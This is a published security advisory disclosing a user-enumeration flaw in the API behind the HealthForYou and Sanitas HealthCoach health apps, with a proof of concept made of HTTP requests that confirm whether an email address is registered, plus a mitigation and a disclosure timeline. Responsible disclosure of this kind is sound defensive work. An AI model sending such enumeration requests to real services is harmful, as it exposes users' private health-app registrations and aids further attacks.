# Trovent Security Advisory 2104-01 #
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User enumeration through API
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Overview
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Advisory ID: TRSA-2104-01
Advisory version: 1.0
Advisory status: Public
Advisory URL: https://trovent.io/security-advisory-2104-01
Affected product: HealthForYou & Sanitas HealthCoach mobile and web applications
Tested versions: HealthForYou 1.11.1 (com.hansdinslage.connect.HealthForYou),
                 HealthCoach 2.9.2 (de.sanitas_online.healthcoach)
Vendor: Hans Dinslage GmbH (subsidiary of Beurer GmbH https://www.beurer.com)
Credits: Trovent Security GmbH, Nick Decker


Detailed description
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Trovent Security GmbH discovered a vulnerability in the server API of
the mobile apps Sanitas HealthCoach and HealthForYou.
The API call "/BHMCWebAPI/User/GetIsUserAlreadyExists/?emailId=" allows
to easily enumerate registered usernames and email addresses.
This knowledge could aid an attacker with further exploits as
demonstrated by TRSA-2104-02.

Severity: Medium
CVSS Score: 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
CWE ID: CWE-203
CVE ID: N/A


Proof of concept
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HealthForYou
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Sample request to check if my colleague's email address is registered:

REQUEST:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


GET /BHMCWebAPI/User/GetIsUserAlreadyExists/?emailId=s.pietsch@trovent.io HTTP/1.1
Content-Type: application/json; charset=UTF-8
Accept-Encoding: gzip, deflate
User-Agent: Dalvik/2.1.0 (Linux; U; Android 10; ONEPLUS A6003 Build/QKQ1.190716.003)
Host: sync.healthforyou-lidl.com
Connection: close
Content-Length: 0


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

RESPONSE:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


HTTP/1.1 200 OK
x-frame-options: SAMEORIGIN
x-xss-protection: 1; mode=block
content-type: application/json; charset=utf-8
content-length: 4
etag: W/"4-X/5TO4MPCKAyY0ipFgr6/IraRNs"
date: Wed, 28 Apr 2021 11:25:24 GMT
x-envoy-upstream-service-time: 118
server: istio-envoy
connection: close

true


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~



HealthCoach
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Sample request to check if my colleague's email address is registered:

REQUEST:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


GET /BHMCWebAPI/User/GetIsUserAlreadyExists/?emailId=s.pietsch@trovent.io HTTP/1.1
Content-Type: application/json; charset=UTF-8
Accept-Encoding: gzip, deflate
User-Agent: Dalvik/2.1.0 (Linux; U; Android 10; ONEPLUS A6003 Build/QKQ1.190716.003)
Host: sync.connect-sanitas-online.de
Connection: close
Content-Length: 0


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

RESPONSE:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


HTTP/1.1 200 OK
x-frame-options: SAMEORIGIN
x-xss-protection: 1; mode=block
content-type: application/json; charset=utf-8
content-length: 4
etag: W/"4-X/5TO4MPCKAyY0ipFgr6/IraRNs"
date: Wed, 28 Apr 2021 11:34:02 GMT
x-envoy-upstream-service-time: 78
server: istio-envoy
connection: close

true


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


Solution / Workaround
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To mitigate this vulnerability, we recommend to disable this API call.
In general it is recommended to prevent attackers from enumerating valid usernames.


History
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2021-04-27: Vulnerability found
2021-04-28: Advisory created, vendor and BSI contacted
2021-04-30: Vendor acknowledged the vulnerability to Trovent and BSI
2021-06-04: Advisory published